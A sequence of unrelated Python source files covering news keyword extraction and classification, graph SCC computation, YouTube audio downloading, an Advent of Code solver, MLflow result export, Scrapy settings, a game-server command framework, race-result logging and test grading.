from wordcloud import WordCloud
import matplotlib.pyplot as plt
import matplotlib
import numpy as np
from gensim import corpora
import gensim
from sklearn.model_selection import train_test_split
from sklearn.feature_extraction.text import CountVectorizer, TfidfVectorizer
from sklearn.naive_bayes import MultinomialNB

class KeywordExtraction():
    """
    ---------------贝叶斯新闻关键词提取和分类----------------
    """

    def __init__(self):
        """读取数据"""
        data = pd.read_table('./data/val.txt', names=['category', 'theme', 'URL', 'content'], encoding='utf-8')
        self.data = data.dropna()
        self.stopwords = pd.read_csv("./data/stopwords.txt",index_col=False,sep="\t",quoting=3,names=['stopword'], encoding='utf-8')

    def content(self):
        """
        使用结巴分词器对新闻内容进行分词
        :return: 返回分词好的新闻内容列表
        """
        content = self.data.content.values.tolist()
        content_S = []
        for line in content:
            current_segment = jieba.lcut(line)
            if len(current_segment) > 1 and current_segment is not '\n\r':
                content_S.append(current_segment)
        return content_S

    def drop_stopwords(self):
        """
        从新闻内容中删除掉停用词，留下基本关键词
        :return:  list of list 格式的基本关键词，所有的词统计
        """
        contents = self.content()
        stopwords = self.stopwords.stopword.values.tolist()

        contents_clean = []
        all_words = []
        for line in contents:
            line_clean = []  # 每篇新闻内容的基本关键词
            for word in line:
                if word in stopwords:
                    continue
                line_clean.append(word)
                all_words.append(str(word))
            contents_clean.append(line_clean)
        return contents_clean, all_words

    def word_cloud_plot(self, all_words):
        """
        根据基本关键词，进行词云图绘制
        :return: None
        """
        df_words = pd.DataFrame({'all_words': all_words})  # 转换基本关键词格式
        words_count = df_words.groupby(by=['all_words'])['all_words'].agg({'count': np.size})  # 进行分组聚合
        words_count = words_count.reset_index().sort_values(by=["count"], ascending=False)  # 排序重新设置索引

        matplotlib.rcParams['figure.figsize'] = (10.0, 5.0)
        wordcloud = WordCloud(font_path='./data/simhei.ttf', background_color='white', max_font_size=80)
        word_frequence = {x[0]: x[1] for x in words_count.head(100).values}
        wordcloud = wordcloud.fit_words(word_frequence)
        plt.imshow(wordcloud)
        plt.show()

    def tf_idf(self, contents_clean):
        """
        TF-IDF提取关键词, LDA 主体模型
        :return:
        """
        # gensim 获取全局集合字典
        dic = corpora.Dictionary(contents_clean)
        corpus = [dic.doc2bow(sentence) for sentence in contents_clean]  # 获取语料库
        lda = gensim.models.ldamodel.LdaModel(corpus=corpus, id2word=dic, num_topics=20)  # lda 线性判别分析
        topics = []
        for topic in lda.print_topics(num_topics=20,num_words=5):
            topics.append(topic)
        topics = pd.DataFrame({'topics': topics})
        print(topics.head())

    def jieba_analyze(self):
        """
        结巴分词关键词分析
        :return: 文章关键词
        """
        content_S = self.content()
        keywords = []
        for i in range(len(content_S)):
            content_S_str = ''.join(content_S[i])
            keyword = ' '.join(jieba.analyse.extract_tags(content_S_str, topK=5, withWeight=False))
            keywords.append(keyword)

        self.data['keywords'] = keywords
        print(self.data.head())
        # return keywords

    def classify(self, contents_clean):
        """
        新闻分类
        :return:
        """
        df_train = pd.DataFrame({'contents_clean':contents_clean,'label':self.data['category']})
        # 分类数字化
        label_mapping = {"汽车": 1, "财经": 2, "科技": 3, "健康": 4, "体育": 5, "教育": 6, "文化": 7, "军事": 8, "娱乐": 9, "时尚": 0}
        df_train['label'] = df_train['label'].map(label_mapping)  # 映射标签

        # 切分数据
        x_train, x_test, y_train, y_test = train_test_split(df_train['contents_clean'].values, df_train['label'].values,
                                                            test_size=0.25)
        # x_train, content 统计转换向量化
        words = []
        for line_index in range(len(x_train)):
            try:
                words.append(' '.join(x_train[line_index]))
            except:
                continue
        cv = CountVectorizer(analyzer='word', max_features=4000, lowercase=False)
        x_train = cv.fit_transform(words)

        # x_test, content 统计转换向量化
        test_words = []
        for line_index in range(len(x_test)):
            try:
                test_words.append(' '.join(x_test[line_index]))
            except:
                continue
        x_test = cv.transform(test_words)

        # 构建贝叶斯分类器, 利用统计向量转换进行分析
        mlt = MultinomialNB()
        mlt.fit(x_train, y_train)
        print(mlt.score(x_test, y_test))

        # 中文字符特征化, 判别分词的重要性
        tfidf = TfidfVectorizer(analyzer='word', max_features=4000, lowercase=False)
        x_train = tfidf.fit_transform(words)
        x_test = tfidf.transform(test_words)

        # 构建贝叶斯分类器， 利用分词进行分析
        mlt = MultinomialNB()
        mlt.fit(x_train, y_train)
        print(mlt.score(x_test, y_test))

    def workOn(self):
        """ 启动函数"""
        contents_clean, all_words = self.drop_stopwords()
        # self.word_cloud_plot(all_words)
        # self.tf_idf(contents_clean)
        self.classify(contents_clean)

if __name__ == '__main__':
    ke = KeywordExtraction()
    ke.workOn()
    # ke.jieba_analyze()


import sys
import gc

sys.setrecursionlimit(300000)

# The Node data structure
class Node:
    def __init__(self, edges):
        self.edges = edges
        self.explored = 0
        self.leader = 0
        self.finish = 0

    def addEdge(self, i):
        self.edges.append(i)

# DFS
zzz = 1
def DFS(G, i):
    global zzz
    zzz = zzz + 1
    global t,s
    G[i].explored = 1
    G[i].leader = s

    for j in G[i].edges:
        if not G[j].explored:
            DFS(G, j)

    t = t + 1
    G[i].finish = t

# DFSLoop
def DFSLoop(G):
    global t,s
    t,s = 0,0

    node_range = sorted(G.keys(), reverse=True)

    for i in node_range:
        if not G[i].explored:
            s = i
            DFS(G, i) # Each DFS is gonna explore the whole SCC -> same leader

# Read the input for Grev
fin = open("scc_med.001")
Grev = {}

for line in fin:
    e = [int(i) for i in line.split()]

    if not e[0] in Grev:
        Grev[e[0]] = Node([])

    if not e[1] in Grev:
        Grev[e[1]] = Node([])

    Grev[e[0]].addEdge(e[1])

fin.close()

del fin
gc.collect()

# First Loop
DFSLoop(Grev)
fT = {v[0]:v[1].finish for v in Grev.items()}

del Grev
gc.collect()

# Read the input for G
fin = open("scc_med.001")
G = {v[1]:Node([]) for v in fT.items()}

for line in fin:
    e = [fT[int(i)] for i in line.split()]
    G[e[1]].addEdge(e[0])

fin.close()

del fin
del fT
gc.collect()

# Second Loop
DFSLoop(G)
lst = sorted([v[1].leader for v in G.items()])

del G
gc.collect()

# Stats
stat = []
pre, N = 0, len(lst)
for i in range(0, N-1):
    if lst[i] != lst[i+1]:
        stat.append( i + 1 - pre )
        pre = i + 1
stat.append( N - pre )
print(sorted(stat, reverse=True)[0:5])
print(zzz)


from pytube import YouTube
from pytube import Playlist
import moviepy.editor as mp
import re
import os

class MovieToMp3:
    l = Playlist(input('Informe o link: '))
    p = input('Informe o diretório: ')

    def __init__(self, link=l, path=p):
        self.link = link
        self.path = path

    def download(self):
        for url in self.link.video_urls:
            try:
                print(url)
                lk = YouTube(url)
                print('Baixando...')
                lk.streams.filter(only_audio=True).first().download(self.path)
                print('Download Completo')
            except:
                print(f'Não foi possível fazer download da música: {url}')

    def converte(self):
        self.download()
        for file in os.listdir(self.path):
            if re.search('mp4', file):
                mp4_dir = os.path.join(self.path, file)
                mp3_dir = os.path.join(self.path, os.path.splitext(file)[0] + '.mp3')
                new_file = mp.AudioFileClip(mp4_dir)
                new_file.write_audiofile(mp3_dir)
                os.remove(mp4_dir)

a = MovieToMp3()
a.converte()


import datetime

class Docket(object):

    def __init__(self, name = None, layout_number = None):
        self.date = datetime.date.today()
        self.name = name
        self.layout_number = layout_number

# Redseign the pdf form
# implement necasary fields
# fill the form


import sys
import pathlib
sys.path.append(pathlib.Path().resolve().__str__())
from util import parseAOC, parseAOC_test

class Directory:
    def __init__(self,name) -> None:
        self.name = name
        self.children = [] # list of Directory

    def add(self, child):
        self.children.append(child)

    def size(self):
        pass

    def getDirByCursor(self, cursor: str):

        if cursor == self.name:
            return self

        cursor = cursor.split("/") # eg "root/a/b" -> ["root", "a", "b"]
        ncursor = "/".join(cursor[1:])

        for child in self.children:
            if child.name == cursor[1]:
                return child.getDirByCursor(ncursor)

    def getSize(self):
        size = 0
        for child in self.children:
            if type(child) == Directory:
                size += child.getSize()
            else:
                size += child.size
        return size

class File:
    def __init__(self, name, size) -> None:
        self.name = name
        self.size = int(size)

def parsedir(dir):
    tot = 0
    for child in dir.children:
        if type(child) == Directory:
            size = child.getSize()
            if size < 100000:
                tot += size
            tot += parsedir(child)
    return tot

def parsedir2(dir, minsize):
    dirs = []
    for child in dir.children:
        if type(child) == Directory:
            size = child.getSize()
            if size > minsize:
                dirs.append(child)
            dirs += parsedir2(child, minsize)
    return dirs

def solve(data):
    root = Directory("root")
    cursor = "root"

    ls_is_next = False

    for line in data:
        # parse line
        line = line.split(" ")
        if line[0] == "$":
            # not in ls mode anymore
            ls_is_next = False
            # command
            if line[1] == "cd":
                # change directory
                new_loc = line[2]
                if new_loc == "/":
                    continue

                if new_loc == "..":
                    # go up
                    cursor = cursor.split("/")
                    cursor = "/".join(cursor[:-1])
                else:
                    cursor += "/" + new_loc
            elif line[1] == "ls":
                # append next lines to current directory
                ls_is_next = True
        elif ls_is_next:
            # ls mode is on
            # this is file or directory
            toappend = None
            if line[0] == "dir":
                # directory
                toappend = Directory(line[1])
                pass
            else:
                toappend = File(line[1], line[0])
                # file
                pass

            # add to root
            root.getDirByCursor(cursor).add(toappend)
    # our dir is ready
    k = parsedir(root)
    print("Solution a: " + str(k))

    #l = parsedir2(root)
    neededspace = 30000000
    freed = 70000000 - root.getSize()
    targetfilesize = (neededspace - freed)
    dirs = parsedir2(root, targetfilesize)

    smallest = None
    for dir in dirs:
        size = dir.getSize()
        if smallest == None or size < smallest:
            smallest = size

    print("Solution b: " + str(smallest))

def main():
    test_data = parseAOC_test("""\
$ cd /
$ ls
dir a
14848514 b.txt
8504156 c.dat
dir d
$ cd a
$ ls
dir e
29116 f
2557 g
62596 h.lst
$ cd e
$ ls
584 i
$ cd ..
$ cd ..
$ cd d
$ ls
4060174 j
8033020 d.log
5626152 d.ext
7214296 k
""")
    data = parseAOC("./day7.txt")

    print("Test data:")
    solve(test_data)
    print("Main data:")
    solve(data)

if __name__ == "__main__":
    main()


import argparse
import os

import mlflow
import yaml
from dotenv import load_dotenv
from mlflow.tracking import fluent

def arg_parse():
    parser = argparse.ArgumentParser(description="fetch result from mlflow")
    parser.add_argument("--local", help="use localhost", action="store_true", default=False)
    return parser.parse_args()

def main():
    args = arg_parse()
    load_dotenv(dotenv_path=f"{os.environ['HOME']}/.env")
    load_dotenv()
    mlflow_uri = os.getenv("MLFLOW_TRACKING_URI")
    if args.local:
        mlflow_uri = "http://localhost:25000"
    if not mlflow_uri:
        mlflow_uri = "./result/mlruns"
    mlflow.set_tracking_uri(mlflow_uri)

    with open("config/__BASE__/config.yaml", "r") as f:
        experiment_name = yaml.safe_load(f)["EXPERIMENT_NAME"]
    print(f"Experiment: {experiment_name}")

    client = mlflow.tracking.MlflowClient()
    experiment_id = client.get_experiment_by_name(experiment_name).experiment_id

    all_runs = fluent.search_runs(experiment_ids=experiment_id)
    datasets = all_runs["params.Dataset"].unique()
    # print(datasets)
    # print(all_runs.columns)

    columns = {
        "tags.mlflow.runName": "name",
        "params.Model": "Model",
        "params.Input size": "Input size",
        "params.Loss": "Loss",
        "tags.info": "tag",
        "params.Epoch": "Epoch",
        "params.Batch": "Batch",
        "params.Optimizer": "Optimizer",
        "metrics.map_test": "mAP",
        "metrics.map_50_test": "mAP@0.5",
        "metrics.map_small_test": "mAP small",
        "metrics.map_medium_test": "mAP medium",
        "metrics.map_large_test": "mAP large",
        "params.Dataset": "Dataset",
    }
    all_runs = all_runs.rename(columns=columns)
    all_runs = all_runs[list(columns.values())]
    all_runs["name"] = all_runs["name"].apply(
        lambda x: "_".join(x.replace("-", "_").split("_")[:2])
    )

    output_dir = "doc/table"
    os.makedirs(output_dir, exist_ok=True)
    all_runs.reset_index(drop=True).to_csv(os.path.join(output_dir, "all_results.csv"))
    for dataset in datasets:
        idx = all_runs[all_runs["Dataset"] == dataset].index.tolist()
        runs = all_runs.loc[idx]
        runs = runs.sort_values(by=["Model", "Input size", "Loss", "name"])
        runs = runs.reset_index(drop=True)
        runs.to_csv(os.path.join(output_dir, f"{dataset}.csv"))

if __name__ == "__main__":
    main()


# -*- coding: utf-8 -*-

# Scrapy settings for p2p_web_crawler project
#
# For simplicity, this file contains only the most important settings by
# default. All the other settings are documented here:
#
#     http://doc.scrapy.org/en/latest/topics/settings.html
#

BOT_NAME = 'p2p_web_crawler'

SPIDER_MODULES = ['p2p_web_crawler.spiders']
NEWSPIDER_MODULE = 'p2p_web_crawler.spiders'

# Crawl responsibly by identifying yourself (and your website) on the user-agent
#USER_AGENT = 'p2p_web_crawler (+http://www.yourdomain.com)'

# PIPELINE
ITEM_PIPELINES = ['p2p_web_crawler.pipelines.MongoDBPipeline', ]

# MONGODB
MONGODB_SERVER = "192.168.199.207"
MONGODB_PORT = 27017
MONGODB_DB = "p2p"
MONGODB_COLLECTION = "web_pages"

# Crawler
INIT_URLS = ["http://www.zhibo8.cc/index.html",
             "http://howieli.me/"]
NUMBER_OF_ITEMS_TO_WRITE = 100


class Country:
    def __init__(self, name: str, population: int):
        self.name = name
        self.population = population
    def add(self, oc):
        new_country = f'{self.name} {oc.name}'
        new_population = self.population + oc.population
        bosnia_1 = Country(new_country, new_population)
        return bosnia_1
bosnia = Country('Bosnia', 10_000_000)
herzegovina = Country('Herzegovina', 5_000_000)
bosnia_herzegovina = bosnia.add(herzegovina)
print(bosnia_herzegovina.name)
print(bosnia_herzegovina.population)


from cuwo.types import AttributeSet, AttributeDict
import collections
import sys
import inspect

class InvalidPlayer(Exception):
    pass

class InsufficientRights(Exception):
    pass

def get_player(server, value):
    ret = None
    players = server.players
    try:
        if value.startswith('#'):
            value = int(value[1:])
            return players[value]
        try:
            return players[value]
        except KeyError:
            pass
        value = value.lower()
        for player in players.values():
            name = player.name.lower()
            if name == value:
                return player
            if name.count(value):
                ret = player
    except (KeyError, IndexError, ValueError):
        pass
    if ret is None:
        raise InvalidPlayer()
    return ret

# command decorators/class implementation

class Command:
    def __init__(self, func):
        self.func = func
        self.base = base = get_command_base(func)
        self.name = base.__name__
        self.module = base.__module__
        self.user_types = getattr(base, 'user_types', None)
        self.doc = base.__doc__
        self.__call__ = func

        # parse function object information

        # get min args
        func_info = inspect.getargspec(base)
        self.min_args = len(func_info.args) - 1
        if func_info.varargs:
            self.max_args = None
        else:
            self.max_args = self.min_args
        if func_info.defaults is not None:
            self.min_args -= len(func_info.defaults)

    def __call__(self, *arg, **kw):
        return self.func(*arg, **kw)

    def is_compatible(self, rights):
        if self.user_types is None:
            return True
        return not rights.isdisjoint(self.user_types)

    def get_help(self):
        syntax = self.get_syntax()
        if self.doc is None:
            return syntax
        return "%s\n%s" % (self.doc, syntax)

    def get_syntax(self):
        func_info = inspect.getargspec(self.base)
        has_defaults = func_info.defaults is not None
        if has_defaults:
            defaults_start = len(func_info.args) - len(func_info.defaults)
        arguments = [self.name]
        for i in range(1, len(func_info.args)):
            argument = func_info.args[i]
            if not has_defaults:
                arguments.append(argument)
                continue
            defaults_index = i - defaults_start
            if defaults_index >= 0:
                default = func_info.defaults[defaults_index]
                if default is None:
                    arguments.append('[%s]' % argument)
                else:
                    arguments.append('[%s=%s]' % (argument, default))
                continue
            arguments.append(argument)
        if func_info.varargs is not None:
            arguments.append('[%s]' % func_info.varargs)
        return 'Syntax: /' + ' '.join(arguments)

def get_command_base(func):
    return getattr(func, 'func', func)

def set_command_base(new_func, func):
    new_func.func = func

def command(func, klass=None):
    command = Command(func)
    if klass is None:
        klass = sys.modules[command.module].get_class()
    if klass.commands is None:
        klass.commands = {}
        klass.aliases = {}
    klass.commands[command.name] = command

    base = get_command_base(func)
    for alias in getattr(base, 'aliases', ()):
        klass.aliases[alias] = command.name
    return func

def alias(*aliases):
    """Aliases the command to additional names."""
    def dec(func):
        base = get_command_base(func)
        base.aliases = aliases
        return func
    return dec

def restrict(*user_types):
    """Restricts the command to certain user types."""
    def dec(func):
        def new_func(script, *arg, **kw):
            if script.connection.rights.isdisjoint(user_types):
                raise InsufficientRights()
            return func(script, *arg, **kw)
        base = get_command_base(func)
        base.user_types = user_types
        set_command_base(new_func, base)
        return new_func
    return dec

# decorator to restrict the use of commands to administrators only
admin = restrict('admin')

class ScriptManager:
    """Manages scripts for either a server or connection."""

    def __init__(self):
        self.items = collections.OrderedDict()
        self.cached_calls = {}

    def __getattr__(self, name):
        return self.items[name]

    def __getitem__(self, name):
        return self.items[name]

    def __contains__(self, name):
        return name in self.items

    def add(self, script):
        self.items[script.script_name] = script
        self.cached_calls.clear()

    def remove(self, script):
        del self.items[script.script_name]
        self.cached_calls.clear()

    def unload(self):
        for script in self.items.copy().values():
            script.unload()

    def get(self):
        return self.items.values()

    def call(self, event_name, **kw):
        try:
            handlers = self.cached_calls[event_name]
        except KeyError:
            handlers = []
            for script in self.items.values():
                f = getattr(script, event_name, None)
                if not f:
                    continue
                handlers.append(f)
            self.cached_calls[event_name] = handlers

        event = AttributeDict(kw)
        for handler in handlers:
            ret = handler(event)
            if ret is None:
                continue
            event.result = ret
            break
        else:
            event.result = None
        return event

class BaseScript:
    def call(self, event_name, **kw):
        event = AttributeDict(kw)
        f = getattr(self, event_name, None)
        if f is None:
            return
        event.result = f(event)
        return event

    def on_load(self):
        pass

    def on_unload(self):
        pass

    def unload(self):
        pass

class ConnectionScript(BaseScript):
    def __init__(self, parent, connection):
        self.script_name = parent.script_name

        self.parent = parent
        self.server = parent.server
        self.world = parent.world
        self.loop = connection.loop
        self.connection = connection
        connection.scripts.add(self)
        parent.children.append(self)
        self.on_load()

    def on_disconnect(self, event):
        self.unload()

    def on_command(self, event):
        ret = self.parent.call_command(self, event.command, event.args)
        if ret is None:
            return
        if ret:
            self.connection.send_chat(ret)
        return False

    def get_player(self, name=None):
        if name is None:
            return self.connection
        return get_player(self.server, name)

    def get_commands(self):
        rights = self.connection.rights
        for command in self.server.get_commands():
            if command.is_compatible(rights):
                yield command

    def get_command(self, name):
        command = self.server.get_command(name)
        if not command:
            return
        if not command.is_compatible(self.connection.rights):
            return
        return command

    def unload(self):
        if self.parent is None:
            return
        self.connection.scripts.remove(self)
        self.parent.children.remove(self)
        self.on_unload()
        self.parent = None
        self.connection = None
        self.server = None
        self.world = None

    @property
    def entity(self):
        return self.connection.entity

class ServerScript(BaseScript):
    connection_class = ConnectionScript
    commands = None
    aliases = None

    def __init__(self, server):
        self.script_name = self.__module__.split('.')[1]

        self.server = server
        self.world = server.world
        self.loop = server.loop
        server.scripts.add(self)
        self.children = []
        self.on_load()
        for connection in server.connections:
            self.call('on_existing_connection', connection=connection)

    def on_new_connection(self, event):
        if self.connection_class is None:
            return
        script = self.connection_class(self, event.connection)
        script.call('on_connect')

    def on_existing_connection(self, event):
        if self.connection_class is None:
            return
        self.connection_class(self, event.connection)

    def on_command(self, event):
        return self.call_command(event.user, event.command, event.args)

    def unload(self):
        if self.server is None:
            return
        self.on_unload()
        self.server.scripts.remove(self)
        for script in self.children[:]:
            script.unload()
        self.children = None
        self.server = None
        self.world = None

    def call_command(self, user, command, args):
        if self.commands is None:
            return
        command = command.lower()
        command = self.aliases.get(command, command)
        command = self.commands.get(command, None)
        if not command:
            return
        user.parent = self  # for ScriptInterface

        if len(args) < command.min_args:
            return command.get_syntax()
        if command.max_args is not None and len(args) > command.max_args:
            return command.get_syntax()

        try:
            ret = command(user, *args) or ''
        except InvalidPlayer:
            ret = 'Invalid player specified'
        except InsufficientRights:
            ret = 'Insufficient rights'
        except Exception:
            import traceback
            traceback.print_exc()
            ret = ''
        return ret

class ScriptInterface:
    """
    Used for external script interfaces to emulate a connection for e.g.
    console and IRC commands
    """

    def __init__(self, name, server, *rights):
        self.name = name
        self.rights = AttributeSet(rights)
        self.server = server
        self.connection = self
        self.parent = None  # set by call_command

    def get_player(self, name):
        if name is None:
            raise InvalidPlayer()
        return get_player(self.server, name)

    def get_commands(self):
        return self.server.get_commands()

    def get_command(self, name):
        return self.server.get_command(name)


# -*- coding=UTF-8 -*-
# pyright: strict

from __future__ import annotations

import datetime
import json
import os
from typing import Any, Dict, Iterator, List, Optional, Text

from ..context import Context
from .globals import g
from .race import Race, RaceFilters
from ... import filetools, app, __version__

class RaceResult:
    def __init__(self):
        self.time = datetime.datetime.utcnow()
        self.ctx = Context.new()
        self.race = Race.new()
        self.order = 0
        self.is_failed = False

    def __str__(self) -> str:
        return f"RaceResult<race={self.race} order={self.order} fail={self.is_failed}>"

    def to_dict(self) -> Dict[Text, Any]:
        return {
            "time": self.time.isoformat(),
            "order": self.order,
            "race": {
                "id": self.race.id,
                "name": self.race.name,
            },
            "ctx": self.ctx.to_dict(),
            "is_failed": self.is_failed,
        }

    @classmethod
    def from_dict(cls, data: Dict[Text, Any]) -> RaceResult:
        ret = cls()
        ret.time = datetime.datetime.fromisoformat(data["time"])
        race_data = data["race"]
        race_loaded = False
        if "id" in race_data:
            try:
                ret.race = Race.repository.get(race_data["id"])
                race_loaded = True
            except:
                pass
        if not race_loaded:
            ret.race = next(
                Race.repository.find(filter_by=RaceFilters(name=(race_data["name"],)))
            )
        ret.ctx = Context.from_dict(data["ctx"])
        ret.order = data["order"]
        ret.is_failed = data["is_failed"]
        return ret

    def write(self) -> None:
        p = g.result_path
        if not p:
            return
        if g.result_max_bytes > 0:
            size = 0
            try:
                size = os.stat(p).st_size
            except FileNotFoundError:
                pass
            if size > g.result_max_bytes:
                app.log.text(
                    "data file large than %.2fMiB, remove records that older than 90 days"
                    % (g.result_max_bytes / (1 << 20)),
                )
                prune(datetime.datetime.now() - datetime.timedelta(days=-90))

        def _do():
            with open(g.result_path, "a", encoding="utf-8") as f:
                json.dump(self.to_dict(), f, ensure_ascii=False)
                f.write("\n")

        try:
            _do()
        except FileNotFoundError:
            os.makedirs(os.path.dirname(p))
            _do()

    def is_current(self, ctx: Context) -> Optional[bool]:
        """
        Whether is race result of current game.
        Returns None when result is unknown.
        """

        if self.ctx.date > ctx.date:
            return False

        if (
            self.ctx.scenario != Context.SCENARIO_UNKNOWN
            and ctx.scenario != Context.SCENARIO_UNKNOWN
            and self.ctx.scenario != ctx.scenario
        ):
            return False

        # fan count never reduce
        if self.ctx.fan_count > ctx.fan_count:
            return False

        # distance status never reduce
        if (
            self.ctx.sprint > ctx.sprint
            or self.ctx.intermediate > ctx.intermediate
            or self.ctx.mile > ctx.mile
            or self.ctx.long > ctx.long
        ):
            return False

        # ground status never reduce
        if self.ctx.dart > ctx.dart or self.ctx.turf > ctx.turf:
            return False

        # style status never reduce
        if (
            self.ctx.lead > ctx.lead
            or self.ctx.head > ctx.head
            or self.ctx.middle > ctx.middle
            or self.ctx.last > ctx.last
        ):
            return False

def iterate() -> Iterator[RaceResult]:
    p = g.result_path
    if not p:
        return
    try:
        with open(p, "r", encoding="utf-8") as f:
            for line in f:
                if not line:
                    continue
                yield RaceResult.from_dict(json.loads(line))
    except FileNotFoundError:
        return

def prune(time_lt: datetime.datetime) -> None:
    with filetools.atomic_save_path(
        g.result_path,
        backup_suffix="~",
    ) as p, open(p, "w", encoding="utf-8") as f:
        for res in iterate():
            if res.time < time_lt:
                continue
            json.dump(res.to_dict(), f, ensure_ascii=False)
            f.write("\n")

def iterate_current(ctx: Context) -> Iterator[RaceResult]:
    buf: List[RaceResult] = []
    for i in iterate():
        if i.is_current(ctx) == False:
            buf.clear()
            continue

        if buf and buf[-1].ctx.date > i.ctx.date:
            buf.clear()
        buf.append(i)
    for i in buf:
        yield i


# -*- coding: utf-8 -*-
"""
Created on Thu Feb 22 06:47:00 2018

@author: CWang
"""

import pandas as pd
import matplotlib.pyplot as plt
# =============================================================================
# Client-Side
# Input:
# - Name of file w/ student answers
# - Answer Key
# - List of classes (names) and a time-range of when the class meets
# =============================================================================
excel_file = 'math_method_class_test.xlsx'

# List of answers
answer_key = ['D', 'C', 'E', 'B', 'A',
              'E', 'D', 'B', 'B', 'A',
              'A', 'A', 'A', 'B', 'C',
              'B', 'E', 'C', 'E', 'A',
              'B', 'B', 'B', 'A', 'D']

# List of classes, separated by time-stamp
classes = ['PreAP CS', 'Reg CS']
time = ['10:00:00', '10:50:00', '13:44:00', '14:30:00']
# =============================================================================
# Back-end Calculations
# =============================================================================
def calc_grades(grades, answer_key):
    student_grade = dict()
    for num in range(1,len(answer_key)+1):
        count = 0   # count holds the number of student who got the question correct
        question = 'Question ' + str(num)

        for student, col in grades.iterrows():
            if col[question] == answer_key[num-1]:
                if student in student_grade:
                    student_grade[student] += 4
                else:
                    student_grade[student] = 4
                count+=1

        percent_correct = count/len(student_grade) * 100
        percent_correct = round(percent_correct,2)
        print(question + ': ' +str(percent_correct) + '%')      #Print % students who got the question correct
    return student_grade

df = pd.read_excel(excel_file)
df = df.set_index('Name')   # Set students as index

# Calculate grades
final = calc_grades(df, answer_key)
plt.hist(final.values())
plt.xlabel('Grade')
plt.ylabel('Number of Students')
plt.show()
print(final)

#time = df['Start time']
#print(time.iloc[0].hour)
#print(time)

# Calculate grades
#final = calc_grades(df, answer_key)
#print(final)